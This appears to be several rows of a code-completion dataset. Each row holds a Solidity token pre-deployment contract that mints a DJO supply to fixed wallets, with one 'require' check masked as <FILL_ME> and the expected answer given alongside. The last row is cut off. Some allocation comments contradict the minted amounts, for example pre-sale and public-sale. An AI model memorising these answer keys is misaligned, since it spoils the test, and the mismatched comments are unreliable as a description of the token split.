| _balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]+_balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]+_balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]+_balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f]==2_000_000ether | 62,345 | _balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]+_balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]+_balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]+_balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f]==2_000_000ether |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(<FILL_ME>)
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
| _balances[0x7b638c25350D43750CAd716546b693058aE62F20]+_balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]+_balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]+_balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]+_balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]+_balances[0xeAa2657513DC02f370599eb63264053c358A3d4A]==3_000_000ether | 62,345 | _balances[0x7b638c25350D43750CAd716546b693058aE62F20]+_balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]+_balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]+_balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]+_balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]+_balances[0xeAa2657513DC02f370599eb63264053c358A3d4A]==3_000_000ether |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(<FILL_ME>)
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
